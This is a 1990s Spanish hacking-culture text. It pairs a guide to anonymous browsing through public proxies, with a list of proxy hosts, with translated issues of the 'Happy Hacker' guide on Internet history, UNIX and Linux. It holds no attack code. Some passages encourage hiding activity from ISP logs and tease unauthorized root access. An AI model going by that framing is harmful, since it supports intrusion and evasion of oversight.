Proxy Configuration -> Click en boton View =Internet Explorer 2.0 for windows = Clikea con el boton derecho sobre el icono->selecciona Properties->Advanced ->Use proxy server-> http://algun_proxy.com:8080 =Internet Explorer 3.0 for windows = 1)Menu View->Options->Connection-> 2)Marcar Connect through a proxyserver 3) clikea en Settings y pone http://algun_proxy.com:8080 =Internet Explorer for Mac OS= Menu Edit->Options->Proxy->http://algun_proxy.com:8080 =NCSA Mosaic for Unix 2.4 (o superior)= Se deve setear la variable de entorno http_proxy a http://algun_proxy.com: esto depende del shell: csh -> setenv http_proxy http://algun_proxy.com:8080 bash-> export http_proxy='http://algun_proxy.com:8080' =NCSA Mosaic for Macintosh 2.0 (o superior)= Menu Options->Preferences->Use Cern proxy service->Gates Setear el HTTP gate a algun_proxy.com y en el segundo casillero el port =Enchanced Mosaic for Macintosh= Menu Edit->Prefereces->Proxy server poner http://algun_proxy.com:8080 Página 2

navegacion anonima utilizando servidores proxies.txt =Lynx for Unix 2.3 o superior = Igual que el NCSA MOSAIC hay que setear la variable de entorno.(ver arriba) Para configurar en otros programas buscar en la ayuda y en los menues o se pone la URL o la direccion y el puerto. (IV) ¨Que proxies puedo usar? Hace un tiempo se hizo famoso el www.anonymizer.com, este brinda el servicio de anonimizacion, claro se hizo pago y tenemos un retardo de unos segundos cada vez que lo usamos si no abonamos. Pero existen muchos otros proxies en el mundo que nos pueden servir, algunos son reservados para determinados usuarios, otros filtran, algunos dicen que borran sus logs semanalmente, otros que se los dan a la justicia si se los piden, unos son mas rapidos otros son lentos. Por eso es cuestion de buscar y encontrar uno que nos brinde seguridad y velocidad (servicio y limpieza?:) , FTP y HTTP como minimo. Si encuentran un proxy fijense de que tipo es, generalmente se ven cosas com FTP:1030 SOCK:8010 HTTP:8080 esto indica en que puerto soporta cada servicio. ALGUNOS PROXIES EN EL MUNDO: (AUSTRALIA-ALEMANIA-BELGICA-USA-INDONESIA-ISRAEL-ITALIA-GRECIA-ESPA¥A-HOLANDA) web.mit.edu:80 (funciona siempre pero es 'conocido') win.tue.nl:8080 (dejo de funcionar) proxy.magusnet.com:8080 (no funciona-probar) proxy.voz.cz:8080 (probar) proxy.di.uoa.gr:8080 proxy.aljan.com.au:8080 socks:8010 (restringido?) white.aljan.com.au:8080 socks:8010 (restringido?) wwwproxy.weizmann.ac.il:8080 Proxy.wasantara.net.id:8080 o 3128 202.159.81.75 (funciona bien) proxy.netura.net.id:8081 proxy.belnet.be:8000 proxy.tarheel.net:8080 [ de los siguientes no se nada, averiguen los puertos y demas datos] frankfurt.www-cache.dfn.de cache.nic.surfnet.nl koeln.www-cache.dfn.de proxy.cineca.it proxy.imaginet.be proxy.rediris.es proxy.interpac.be proxy.skynet.be [ si conocen mas o mejores mandenme mail] Prueben todos los que puedan y elijan, les recomiendo visitar la pagina web de cada uno para informarse que tipo de proxy es y como manejan los logs. Recuerden que sites como hotmail nos rebotan si usamos proxies conocidos, prueben con otros y listo! Para comprobar que realmente estan ocultando su procedencia pueden hacerlo en la misma pagina de Raregazz, en la parte de mensajes anonimos aparece su direccion IP, prueben con y sin proxy. Para FTP conectence con algun servidor que les diga "Hola [tu IP] te estamos vigilando" :) que vigilen... "Desde que uso proxies soy mas feliz" ---|--==============================================================================

Página 3

GUÍA DEL HACKING (mayormente) INOFENSIVO Vol. 2 Número 1 Internet para "capullos"

Las seis Guía del Hacking (casi) Inofensivo del Volumen 1 pasaron a ser enseguida HOWTOs de hacking. Pero si eres como yo, todos esos detalles de prueba de puertos y jugar con hipótesis y tirar hosts por medio del ping se vuelven un poco mareantes. Así que ¿por qué no cogemos aliento, retrocedemos y analizamos que coño es con lo que estamos jugando? Una vez tengamos controlado lo básico, nos podremos mover hacia el hacking serio. También, he estado peleándome con mi conciencia acerca de si empezar a daros instrucciones paso-por-paso sobre como conseguir acceso root a los ordenadores de otra gente. El pequeño ángel de mi hombro derecho susurra, "El conseguir root sin permiso en ordenadores de otra gente no esta bien." Así que no le digas a la gente como hacerlo." El pequeño demonio de mi hombro izquierdo dice, "Carolyn, todos estos hackers creen que no sabes nada! DEMUESTRALES que sabes como crackear!" El pequeño ángel dice, "Si cualquiera que este leyendo La Guía del Hacking (casi) Inofensivo pone a prueba este truco, podrías meterte en problemas con la ley por conspiración de daños a ordenadores de otra gente." El pequeño demonio dice, "¡Pero, Carolyn, dile a la gente como hacerse root y pensaran que eres GENIAL!" Así que aquí esta el trato. En este y en los próximos números de la Guía del Hacking (casi) Inofensivo os diré varios modos de conectarse como superusuario en la cuenta root de algunos ordenadores hosts de Internet. Pero las instrucciones dejaran una o dos cosas a la imaginación. Mi teoría es que si estas deseando abrirte paso por todo esto, probablemente no seas uno de esos ilusos "quiero-ser-hacker" que usareis estos conocimientos para hacer algo destructivo que te plantaría en la cárcel.

Consejo técnico: Si deseas convertirte en un hacker *serio*, necesitaras Linux (una variante freeware de UNIX) en tu PC. Una razón es que entonces podrás crackear la root legalmente todo lo que quieras -- en tu propio ordenador. Fijo que es mejor que esforzarse en el ordenador de otro solo para descubrir que lo que tu creías que era root era una trampa sabiamente puesta y el administrador del sistema y el FBI riéndose de ti de camino a la cárcel.

Linux se puede instalar en un PC con tan solo un 386, solo 2 Mb de RAM y tan solo 20 MB de disco duro. Necesitaras reformatear tu disco duro. Mientras ha habido gente que ha conseguido instalar satisfactoriamente Linux sin desperdiciar su material OS/WINDOWS, no cuentes con conseguir hacerlo. ¡Backup, backup, backup! Advertencia puedes ir a la cárcel: El crackear la cuenta root del ordenador de otros se convierte en una posibilidad definitiva. Piensa en esto: cuando ves una noticia acerca de un hacker que ha sido pillado, ¿cuan a menudo reconoces el nombre? ¿Cuan a menudo es el último arresto hecho a alguien famoso, como Dark Tangent o se7en o Emmanuel Goldstein? ¡Algo así, como, nunca! Eso es por que los realmente buenos hackers saben como no hacer cosas estúpidas. Aprenden a crackear ordenadores por el desafío intelectual y a averiguar como hacer que los ordenadores sean seguros contra los intrusos. No se abren camino a root y lo joden todo, lo que tiende a inspirar a los administradores del sistema a llamar a la policía. Noticia excitante: ¿Es muy aburrido el hackear solo en tu maquina Linux? Quieto ahí. Ira Winkler de la National Computer Security Association, Dean Garlick del Space Dynamics Lab of Utah State University y yo estamos trabajando para crear hack.net, un lugar donde será legal el irrumpir en ordenadores. No solo eso, estamos buscando sponsors que darán premios en metálico y becas escolares a aquellos que muestren las mayores habilidades hacking. ¿Suena ahora eso más divertido que la cárcel?

Así que, vayamos a nuestro tutorial básico de hacking echando una mirada a la maravillosa anarkia que es Internet. Fíjate que estas Guías del Hacking (casi Inofensivo) se centran en Internet. Esto es por que hay muchas formas legales de hackear en Internet. También, hay alrededor de 10 millones de estos ordenadores fácilmente hackeables en Internet, y el número crece cada día. Lo básico de Internet Nadie es dueño de Internet. Nadie lo ejecuta. Jamas se planeo que fuese lo que es hoy. Simplemente ocurrió, el crecimiento mutante de un experimento de una Agencia de Defensa de Investigación Avanzada de Proyectos de los EEUU en 1969. Este sistema anárquico sigue atado por que sus usuarios obedecen voluntariamente algunas reglas básicas. Estas reglas pueden resumirse en dos palabras: UNIX y TCP/IP (con un nodo a UUCP). Si comprendes, comprendes de verdad UNIX y TCP/IP (y UUCP), te convertirás en un pez nadando en el mar del cyberespacio, un Uberhacker entre los quieroser-hacker, un maestro del universo Internet. Para ser técnicos, Internet es una red de ordenadores/comunicaciones distribuida globalmente unida por un estándar de comunicaciones común, Transmission Control

Protocol/Internet Protocol (TCP/IP) y un poco de UUCP. Estos estándares permiten a cualquiera conectar un ordenador a Internet, el cual se convierte entonces en otro nodo de esta red de Internet. Todo lo que se necesita es coger una dirección de Internet asignada al nuevo ordenador, al cual se le conoce entonces como un "host" de Internet, y unirlo a un enlace de comunicaciones de Internet. Estos enlaces están disponibles ahora en casi todas las partes del mundo. Si usas un servicio on-line desde tu ordenador personal, tu, también, puedes ser temporalmente parte de Internet. Hay dos formas principales de conectarse a un servicio on-line. Esta el cybercouch potato connection que todo novato usa. Requiere o bien point-to-point (PPP) o SLIPconnection, que te permite ver bonitas fotos con tu navegador. Si tienes algún tipo de paquete de software de tu proveedor, te proporcionara automáticamente este tipo de conexión. O puedes conectarte con un emulador de terminal a un host de Internet. Este programa puede ser algo tan simple como el programa "Terminal" de Windows 3.1 que esta dentro del icono "Accesorios". Una vez hayas llamado y estés conectado serás simplemente otro terminal de ese host. No te presentara bonitas fotos. Esta conexión será similar a la que se consigue en una vieja BBS. Pero si sabes como usar este tipo de conexión, te podría incluso dar acceso root a ese host. ¿Pero cómo esta el host que usas conectado a Internet? Estará usando alguna variación del sistema operativo UNIX. Ya que UNIX es tan fácil de adaptar a casi todo ordenador, esto significa que casi cualquier ordenador puede convertirse en un host de Internet. Por ejemplo, yo algunas veces entro en Internet por un host que es un ordenador Silicon Graphics Indigo en Universidad del estado de Utah. Su dirección Internet es fantasia.idec.sdl.usu.edu. Este es un ordenador optimizado para trabajos de animación por ordenador, pero puede también operar como un host de Internet. En otras ocasiones el punto de entrada usado puede ser pegasus.unm.edu, que es un IBM RS 6000 Modelo 370. Este es un ordenador optimizado para investigación en la Universidad de Nuevo México. Cualquier ordenador que pueda correr el software necesario -- que es básicamente el sistema operativo UNIX -- tenga un módem, y este unido a un enlace de comunicaciones de Internet, podrá convertirse en un nodo de Internet. Incluso un PC puede convertirse en un host de Internet corriendo una de las variantes Linux de UNIX. Después de montarlo con Linux puedes ponerte de acuerdo con el proveedor que selecciones para enlazarlo permanentemente a Internet. ¡De hecho, muchos proveedores no usan más que PCs en red corriendo Linux! Como resultado, toda la computación, almacenamiento de datos, y el envío, recibo y transporte de mensajes en Internet esta manejado por los millones de ordenadores de muchas clases y propiedad de incontables compañías, instituciones educativas, entidades gubernamentales e incluso particulares.

Cada uno de estos ordenadores tiene una dirección individual que le permite ser accedido a lo largo de Internet si esta conectado al enlace de comunicaciones apropiado. Esta dirección puede estar representada de dos formas: como un nombre o como un número. Los enlaces de comunicación de Internet están también poseídos y mantenidos del mismo modo anárquico que los hosts. Cada propietario de un host de Internet es responsable de buscar y pagar por un enlace de comunicación que hará que ese host este unido al menos con otro host. Los enlaces de comunicación pueden ser tan simples como una línea de teléfono, un enlace de datos inalámbrico tal como un paquete digital de datos celular, o tan complicados como un enlace de alta velocidad de fibra óptica. Mientras el enlace de comunicaciones pueda usar TCP/IP o UUCP, podrá encajar en Internet. De esta manera la red crece sin coordinación global. Un nuevo propietario de un host de Internet solo coge permiso de unir un enlace de comunicación a otro host. Alternativamente, si el proveedor del enlace de comunicaciones decide que este host sea, por ejemplo, un refugio para spammers, puede echar este "site granuja" fuera de Internet. El site granuja tiene entonces que pillar otro enlace de comunicaciones y unirlo a Internet otra vez. El modo en que la mayoría de estos ordenadores interconectados y enlaces de comunicaciones trabajan es por medio del lenguaje común del protocolo TCP/IP. Básicamente, TCP/IP parte cualquier comunicación de Internet en "paquetes" distintos. Cada paquete incluye información sobre como enrutarlo, corrección de errores, y las direcciones del que lo envía y el destinatario. La idea es que si un paquete se pierde, el remitente lo sabrá y lo volverá a mandar. Cada paquete es entonces lanzado a Internet. Esta red podrá elegir automáticamente una ruta de nodo a nodo para cada paquete usando lo que este disponible entonces, y volver a juntar los paquetes en el mensaje completo en el ordenador al que estaba destinado. Estos paquetes pueden seguir rutas tortuosas. Por ejemplo, un paquete puede ir desde un nodo en Boston a Amsterdam y de vuelta a los EEUU a su destino final en Houston, mientras otro paquete del mismo mensaje puede ser enrutado por Tokyo y Atenas, y demás. Casi siempre, sin embargo, los enlaces de comunicaciones no son tan tortuosos. Los enlaces de comunicaciones pueden incluir fibra óptica, líneas de teléfono y satélites. La fuerza de esta red de desvío de paquetes es que la mayoría de mensajes se abrirán paso automáticamente a pesar de la pesada congestión de trafico de mensajes y de que muchos enlaces de comunicaciones estén fuera de servicio. La desventaja es que los mensajes pueden simplemente desaparecer en el sistema. También puede ser difícil el llegar a los ordenadores deseados si muchos enlaces de comunicaciones no están disponibles en ese momento. De todos modos, todas estas maravillosas características son también profundamente hackeables. Internet es lo suficientemente robusta para sobrevivir -- como claman sus inventores -- incluso a una guerra nuclear. Sin embargo es tan débil que con tan solo un pequeño bit de instrucción, es posible aprender como engañar seriamente al sistema (email

falso) o incluso poner temporalmente fuera de servicio el host de otras personas (ping flood, por ejemplo). Por otro lado, las cabeceras en los paquetes que llevan los comandos hacking dará a conocer la información de la cuenta desde la que un hacker esta operando. Por esta razón es difícil esconderse perfectamente cuando se esta en Internet. Es esta tensión entre este poder y la robustez y debilidad y el potencial de confusión lo que hace de Internet un recreo de hackers. Por ejemplo, AQUI ESTA TU TRUCO HACKING QUE HAS ESTADO ESPERANDO DE ESTE NÚMERO: ftp://ftp.secnet.com Este site ftp se posteo en la lista BUGTRAQ, que esta dedicada a la discusión de agujeros de seguridad de UNIX. El moderador es Aleph One, que es un Uberhacker genuino. Si quieres suscribirte a BUGTRAQ, manda un email a [email protected] con el mensaje "subscribe BUGTRAQ." Ahora, de vuelta a lo básico de Internet. Historia de Internet Como mencione arriba, Internet nació como una obra de la Advanced Research Projects Agency (ARPA) de EEUU en 1969. Sus inventores lo llamaron ARPANET. Pero por su valor en la investigación científica, el National Science Foundation (NSF) de EEUU asumió el control en 1983. Pero a los años desde entonces fue gradualmente evolucionando lejos de ninguna fuente de control. En Abril de 1995 la NFS corto el último nexo de unión. Ahora Internet no esta dirigido por nadie. Simplemente ocurre y queda pequeña a los esfuerzos de aquellos que juegan con ello y luchan con el software y el hardware. Nada parecido a esto ha ocurrido nunca antes. Ahora tenemos un sistema informático con vida propia. Nosotros, como hackers, formamos una gran parte del motor de mutación que mantiene a Internet evolucionando y creciendo más fuertemente. También formamos un gran parte del sistema inmune de esta exótica criatura. La idea original de ARPANET era el diseñar un ordenador y red de comunicaciones que pudiera eventualmente ser tan redundante, robusta, y capaz de operar sin control centralizado, que pudiese incluso sobrevivir a una guerra nuclear. Lo que también ocurrió fue que ARPANET evoluciono en un ente que ha sobrevivido al final de un gobierno sin tan siquiera un blip en su crecimiento. Por esto su descendencia, Internet, ha triunfado por encima de los más salvajes sueños de sus arquitectos originales.

Internet ha crecido explosivamente, sin un fin a la vista. En su comienzo como ARPANET tan solo tenia 4 hosts. Un cuarto de siglo después, en 1984, tenia solo 1000 hosts. Pero a lo largo de los 5 años siguientes este número creció diez veces hasta llegar a 10.000 (1989). A lo largo de los 4 años siguientes creció otras diez veces más hasta 1 millón (1993). Dos años después, a finales de 1995, se estimo que Internet tenia al menos 6 millones de hosts. Probablemente estos son ahora alrededor de 10 millones. Parece que todavía no hay fin a la vista al crecimiento increíble de este niño mutante de ARPANET. De hecho, un asunto que se plantea debido al crecimiento exponencial en Internet es que la demanda puede eventualmente sobrepasar a la capacidad. Por que ahora no hay entidad que posea o controle Internet, si la capacidad de los enlaces de comunicación entre los nodos es muy pequeña, y pasase a estar colapsada, podría ser difícil solucionar el problema. Por ejemplo, en 1988, Robert Morris, Jr. soltó un programa tipo virus en Internet comúnmente conocido como "Gusano Morris"/"Morris Worm". Este virus podía hacer copias de sí mismo en cualquier ordenador donde estuviese y entonces mandar copias a lo largo de los enlaces de comunicación a otros hosts de Internet. (Usaba un bug del sendmail que permitía acceso a root, permitiendo al virus actuar como superusuario). Rápidamente la propagación exponencial de este virus hizo que Internet se colapsase del trafico de comunicaciones y el espacio de disco que le ocupaba. Por ese entonces Internet estaba aun bajo alguna apariencia de control por la National Science Foundation y estaba conectada a solo unos pocos miles de ordenadores. La Red fue "apagada" y todos los virus limpiados de sus hosts, y entonces la Red se volvió a poner en funcionamiento. Morris, mientras tanto, fue enviado a la cárcel. Hay alguna preocupación de que, a pesar de las medidas de seguridad mejoradas (por ejemplo, los "firewalls"), alguien pueda encontrar un nuevo modo de lanzar un virus que pudiese "cerrar" de nuevo Internet. Dada la perdida de un control centralizado, el restaurarla de nuevo podría llevar mucho más tiempo si esto llegase a ocurrir otra vez. Pero restablecer un control centralizado hoy por hoy como el que existió cuando lo del "Gusano Moris" es más que imposible. Incluso si fuese posible, los arquitectos originales de ARPANET probablemente estuvieran en lo cierto cuando afirmaban que la Red seria más susceptible de fallar masivamente que nada si hubiese algún control centralizado. Tal vez el hecho más significativo del Internet de hoy en día es la falta de control centralizado. Ninguna persona u organización es capaz ahora de controlar Internet. De hecho, la dificultad de control se convirtió en un problema tan pronto como su primer año de operatividad como ARPANET. Ese año el email fue espontáneamente inventado por sus usuarios. Para sorpresa de los administradores de ARPANET, para el segundo año el email contabilizaba la mayoría de la información del sistema. Ya que Internet había crecido para tener autonomía total, vida propia descentralizada, en Abril de 1995, la NFS abandono la fundación de NFSNET, la columna de comunicaciones de fibra óptica que en un tiempo había dado a la NFS la tecnología para controlar el

sistema. La proliferación de enlaces de comunicación y hosts paralelos había sobrepasado por entonces completamente cualquier posibilidad de control centralizado. Hay varias figuras principales de Internet:       

World Wide Web (www) -- una red de publicación hypertexto y ahora la parte de crecimiento más rápida de Internet. email -- un modo de mandar mensajes electrónicos Usenet -- foros en los que la gente puede postear y ver mensajes públicos telnet -- una forma de conectarse a ordenadores remotos de Internet file transfer protocol (ftp) -- una forma de bajarse ficheros de ordenadores remotos de Internet Internet relay chat (IRC) -- conversaciones en modo texto en tiempo real -- usado originariamente por hackers y otros viejos de Internet gopher -- una forma de catalogar y buscar información. Esto se esta haciendo cada vez más obsoleto

Como vosotros surfers de puertos sabéis, hay docenas de otros servicios interesantes pero menos conocidos como el whois, finger, ping etc... El World Wide Web El World Wide Web es la característica más nueva de Internet, fechado desde primavera de 1992. Consiste en "paginas Web", que son como paginas de un libro, y enlaces a otras paginas Web desde palabras, frases o símbolos especialmente marcados en cada pagina. Estas paginas y enlaces unidos crean lo que se conoce como "hypertexto". Esta técnica hace posible el unir muchos documentos diferentes que pueden estar escritos por mucha gente y almacenados en muchos ordenadores diferentes alrededor del mundo en un solo documento hypertexto. Esta técnica esta basada en el standard Universal Resource Locator (URL), que especifica como conectarse al ordenador y acceder a los archivos de este en los que se encuentran los datos de la pagina Web. Una URL es siempre de la forma http://, donde incluye un nombre de dominio que debe ser registrado con una organización llamada InterNIC para asegurarse de que dos paginas Web diferentes (o direcciones email, o direcciones de ordenadores) no acaben siendo idénticas. Este registro es uno de los pocos rasgos con control centralizado de Internet. Así es como el hypertexto de la World Wide Web funciona. El lector puede llegar a un comunicado tal como "nuestra compañía ofrece servicio LTL de camiones a la mayoría de ciudades de EEUU". Si este esta resaltado en la "pagina Web", significa que un click del ratón del ordenador del usuario le llevara a una nueva pagina Web con más detalles. Estos pueden incluir horarios completos y un formulario que rellenar para pedir la recogida y el envío.

Algunas paginas Web incluso ofrecen formas de hacer pagos electrónicos, normalmente con tarjetas de crédito. De todas formas, la seguridad de transferencia de dinero en Internet es aun un gran problema. Aun a pesar de la verificabilidad de las transacciones financieras, el comercio electrónico en la Red esta creciendo rápidamente. En su segundo año completo de existencia, 1994, solo unos $17.6 millones en ventas se llevaron a cabo en la Red. Pero en 1995, las ventas alcanzaron los $400 millones. Hoy, en 1996, la Red esta plagada de sites comerciales rogando por la información de tu tarjeta de crédito. Adicionalmente, la Red esta siendo usada como una herramienta en la distribución de una nueva forma de moneda, conocida como electronic cash/dinero electrónico (ECash). Es concebible que, si se puede superar la valla de verificabilidad, ese dinero electrónico (normalmente llamado ecash) puede jugar un papel importante en la economía del mundo, simplificando el comercio internacional. También puede eventualmente hacer las monedas nacionales e incluso los impuestos como los conocemos obsoletos. Ejemplos de Web sites donde uno puede obtener ecash son: El Mark Twain Bank of St. Louis, MO http://www.marktwain.com y Digicash of Amsterdam, The Netherlands http://www.digicash.com La naturaleza casi fuera de control de Internet se manifiesta en la World Wide Web. El autor de una pagina Web no necesita obtener permiso o realizar ningún acuerdo con los autores de otras paginas Web a los que el o ella desea establecer enlaces. Los enlaces pueden ser establecidos automáticamente simplemente metiendo las URLs de las paginas Web que deseamos. A la inversa, de la única forma que el autor de una pagina Web puede prevenir que otra gente la lea o establezca enlaces de hypertexto a ella es creando un sistema de protección por contraseña (o no teniendo enlaces de comunicación al resto de Internet). Un problema de la World Wide Web es como encontrar cosas en ella. Simplemente como alguien puede conectar un nuevo ordenador a Internet, así que tampoco hay una autoridad central con control o incluso conocimiento de lo que se publica y donde en la World Wide Web. Nadie necesita pedir el permiso de una central de autoridad para poner una pagina Web. Una vez que un usuario conoce la dirección (URL) de una pagina Web, o al menos la URL de una pagina Web que eventualmente enlaza con la pagina deseada, entonces es posible (mientras los enlaces de comunicación estén disponibles) el conectarse prácticamente al momento con esta pagina. Debido al valor de conocer URLs, hay ahora muchas compañías e instituciones académicas que ofrecen índices de búsqueda (localizados en la Red) al World Wide Web. Programas

automatizados tales como los Web crawlers buscan en la Red y catalogan las URLs que se encuentran mientras viajan de un enlace de hypertexto a otro. Pero debido a que la Web esta constantemente creciendo y cambiando, no hay forma de crear un catalogo global de toda la Web. Email El email es el segundo uso más viejo de Internet, fechado cuando ARPANET en 1972. (El primer uso fue el de permitir a la gente conectarse remotamente a uno de los cuatro ordenadores de su elección en los que ARPANET fue lanzada en 1971). Hay dos usos principales del email: comunicaciones privadas, y difusión de email. Cuando es de difusión, el email sirve para realizar anuncios (difusión en un sentido), y para realizar discusiones en grupos de gente como nuestra lista del Happy Hacker. En el modo de discusiones de grupo, cada mensaje enviado por todos los miembros de la lista es difundido a todos los otros miembros. Los dos tipos de programas más populares usados para la difusión de discusiones de grupos email son majordomo y listserv. Usenet Usenet fue una consecuencia natural de las listas de grupos de discusión de email. Un problema de las listas de email es que no había un modo sencillo para la gente nueva a estos grupos de unirse a ellos. Otro problema es que mientras el grupo crece, un miembro puede ser inundado con docenas o cientos de mensajes cada día. En 1979 estos problemas fueron direccionados por el lanzamiento de Usenet. Usenet consiste en grupos de noticias que llevan discusiones en forma de "posteos". A diferencia de los grupos de discusión de email, estos envíos son guardados, normalmente por 2 semanas o así, esperando a lectores en potencia. Mientras nuevos mensajes son expuestos a un grupo de noticias, estos son difundidos a todos los hosts de Internet que están suscritos para traerse los grupos de noticias a los que estos mensajes pertenecen. Con muchos programas de conexión de Internet puedes ver la similitud entre Usenet y email. Ambos tienen cabeceras similares, que siguen sus movimientos a lo largo de Internet. Algunos programas como Pine están constituidos para mandar el mismo mensaje a ambas direcciones email y grupos de noticias. Todos los lectores de news de Usenet te permiten mandar email a los autores del mensaje, y muchos también te permiten mandar por email esos mensajes a ti o a otra gente. Ahora, aquí va un vistazo rápido de lo básico de Internet que intentaremos cubrir en los próximos capítulos de la Guía del Hacking (casi) Inofensivo: 1. UNIX

Discutimos las "shells" que le permiten a uno escribir programas ("scripts") que automatizan series complicadas de comandos UNIX. Se introduce al lector en el concepto de los scripts que realizan funciones de hacking. Presentamos el Perl, que es un lenguaje de programación shell usado para los scripts de hacking más elite tal como SATAN 3. TCP/IP y UUCP Este capitulo cubre los enlaces de comunicación que unen a Internet desde la perspectiva de un hacker. Se da atención extra a UUCP debido a que es muy hackeable. 4. Direcciones de Internet, Nombres de Dominio y Routers El lector aprende como la información es enviada a los lugares correctos en Internet, y como los hackers pueden hacer que vaya a ¡lugares erróneos! Como buscar hosts UUCP (que no están en el sistema de nombre de dominio) esta incluido. 5. Los fundamentos del Elite Hacking: Puertos, Paquetes y Permisos de Ficheros Esta sección deja salir de la botella al genio del hacking serio. Ofrece una serie de ejercicios en los cuales el lector puede divertirse ganando acceso a casi cualquier host de Internet elegido al azar. De hecho, por el final del capitulo el lector habrá tenido la oportunidad de practicar varias docenas de técnicas para ganar acceso a los ordenadores de otra gente. No obstante estos trucos que enseñamos son ¡100% legales!

¿Quieres ver números atrasados de la Guía del Hacking (casi) Inofensivo? Mira http://www.feist.com/~tqdb/evis-unv.html. ¿Quieres suscribirte a esta lista? Email [email protected] con el mensaje "subscribe happyhacker." ¿Quieres compartir material guay con la lista Happy Hacker? Manda tu mensaje a [email protected]. Para mandarme email confidencial (discusiones de actividades ilegales no) usa [email protected]. Por favor dirige tus flames hacia dev/[email protected]. Happy hacking! Copyright 1996 Carolyn P. Meinel. Puedes distribuir la GUÍA DEL HACKING (mayormente) INOFENSIVO mientras dejes esta nota al final.

GUÍA DEL HACKING (mayormente) INOFENSIVO Vol. 2 Numero 2 ¡Linux!

UNIX se ha convertido en el sistema operativo primordial de Internet. De hecho, UNIX es el sistema operativo mas ampliamente usado en el mundo en ordenadores con mas poder que los PCs. Es cierto, Windows NT esta surgiendo rápido como un sistema operativo común de Internet, y es tan maravillosamente buggy (con bugs) que parece que pueda convertirse en el favorito numero uno de crackear. Pero hoy por hoy UNIX en todas sus maravillosas variantes es aun el sistema operativo a conocer para ser un verdadero hacker elite. Hemos asumido que has estado hackeando usando una cuenta shell que has obtenido de tu proveedor. Una cuenta shell te permite ejecutar comandos UNIX en uno de los ordenadores de tu proveedor. Pero no necesitas depender de tu proveedor para tener una maquina que te permita jugar con UNIX. Puedes correr UNIX en tu propio ordenador y con una conexión SLIP o PPP estar directamente conectado a Internet.

Nota para novatos: Las conexiones Serial Line Internet Protocol (SLIP) y Point-to-Point Protocol (PPP) te dan una dirección temporal o Internet Protocol (IP) que te permite estar directamente conectado a Internet. Tienes que usar conexión o bien SLIP o PPP para llegar a usar un Web Browser que te proporcione gráficos y fotos en vez de solo texto. Así que si puedes ver fotos en la Red, ya tienes uno de esos protocolos disponibles. La ventaja de usar uno de esas conexiones directas para tus actividades hacking es que no dejaras atrás un fichero log de shell para que el administrador de sistema de tu proveedor lo estudie detenidamente. Incluso si no estas rompiendo la ley, un fichero log de shell que te muestre haciendo un montón de cosas relacionadas con el hacking puede ser suficiente para algunos administradores para cerrar tu cuenta.

¿Cuál es el mejor ordenador para correr UNIX? A menos que seas un hacker rico que no se lo piensa y se pilla una estación de trabajo Sun SPARC, lo tendrás mejor con alguna clase de PC. Hay incontables variantes de UNIX que corren en PCs. La mayoría de ellas se pueden bajar gratis, o disponibles muy baratas en CD-ROMs.

Las tres variantes principales de UNIX que corren en PCs son Solaris de Sun, FreeBSD y Linux. Solaris cuesta alrededor de $700. Digamos que bastante. FreeBSD es muy, muy bueno pero no ofrece mucho soporte. Linux, sin embargo, tiene la ventaja de estar disponible en muchas variantes (así que puedes pasártelo bien mezclando y equiparando programas de diferentes ofertas Linux). Más importante, Linux esta apoyado en muchos grupos de noticias, listas de mail y Web sites. Si tienes amigos hackers en tu zona, la mayoría de ellos probablemente usan Linux y te podrán ayudar.

Nota histórica: Linux fue creado en 1991 por un grupo liderado por Linus Torvalds de la Universidad de Helsinki. Linux tiene Copyright bajo la GNU General Public License. Bajo este acuerdo, Linux puede ser redistribuido a cualquiera junto con el código fuente. Cualquiera puede vender una variante de Linux, modificarla y volverla a embalar. Pero incluso si alguien modifica el código fuente él o ella no exigirán Copyright por nada creado a partir de Linux. Cualquiera que venda una versión modificada de Linux deberá proveer el código fuente a los compradores y permitirles usarlo en sus productos comerciales sin cobrar cuotas de licencia. Este acuerdo se conoce como "copyleft". Bajo este acuerdo los creadores originales de Linux no reciben ninguna cuota de licencia o de shareware. Linus Torvalds y los muchos otros que han contribuido en Linux lo han hecho por la diversión de programar y un sentido de comunidad con todos nosotros que usaremos Linux con espíritu de buen tío hackeando. ¡Viva Linux! ¡Viva Torvalds!

Linux consiste en el sistema operativo en sí (llamado el "kernel") mas una serie de programas asociados. El kernel, como todos los tipos de UNIX, es un sistema operativo multitarea y multiusuario. Aunque usa una estructura de ficheros diferente, y de ahí que no sea directamente compatible con DOS y Windows, es tan flexible que muchos programas DOS y Windows podrán ejecutarse mientras estemos en Linux. O sea que un usuario probablemente querrá arrancar en Linux y después ser capaz de correr programas DOS y Windows desde Linux. Programas asociados que vienen con la mayoría de distribuciones de Linux pueden incluir: * un programa shell (Bourne Again Shell -- BASH -- es el más común); * compiladores para lenguajes de programación tales como Fortran-77 (¡mi favorito!), C, C++, Pascal, LISP, Modula-2, Ada, Basic (el mejor lenguaje para un principiante), y Smalltalk.; * X (algunas veces llamado X-windows), un interface de usuario gráfico * programas de utilidades como el lector de email Pine (mi favorito) y Elm

Las 10 razones para instalar Linux en tu PC: 1. Cuando Linux sea "fuera de la ley", solo los fuera de la ley tendrán Linux. 2. Cuando se instala Linux, es tan divertido ejecutar fdisk sin haber hecho antes un backup. 3. Los flames que recibas por hacer preguntas en los grupos de noticias de Linux son de mayor calidad que los flames que recibes por postear en alt.sex.bestiality. 4. No importa que variante de Linux instales, mañana descubrirás que había una versión mucho más 3l1te que deberías haber pillado en vez de esta. 5. La gente que usa FreeBSD o Solaris no se reirán de ti. En vez de ello ofrecerán su simpatía. 6. En el siguiente Defcon serás capaz de decir cosas como "y entonces me hice con su cuenta y le jodí todos sus ficheros como 'kissyface'". Oops, el joder los ficheros de otra gente es un no-no, olvida que jamas lo sugerí. 7. Surfear por los puertos en privado. 8. Una palabra: scripts. 9. Instalar Linux en el PC de tu oficina es como ser un empleado de correos y llevar una Uzi al trabajo. 10. Pero -- si instalas Linux en el ordenador de tu oficina, tu jefe no tendrá ni idea de lo que significa. ¿Qué tipo de Linux trabaja mejor? Depende de lo que realmente quieras. El Redhat Linux es famoso por ser el más fácil de instalar. El Walnut Creek Linux 3.0 en CD-ROM es también realmente fácil de instalar -- para Linux, ¡eso es! Mi planteamiento ha sido coger muchas versiones de Linux y mezclar y reunir lo mejor de cada distribución. Me gusta la versión de Walnut Creek la que más por que con mi marca X de hardware, su característica de autodetección fue un salvavidas. ¡INSTALAR LINUX no es para los que sufren del corazón! Varios trucos para sobrevivir a la instalación son: 1) Aunque en teoría puedas correr Linux en un 286 con 4 MB RAM y dos unidades de disco, es *mucho* más fácil con un 486 o mayor con 8 MB RAM, un CD-ROM, y al menos 200 MB libres de disco duro.

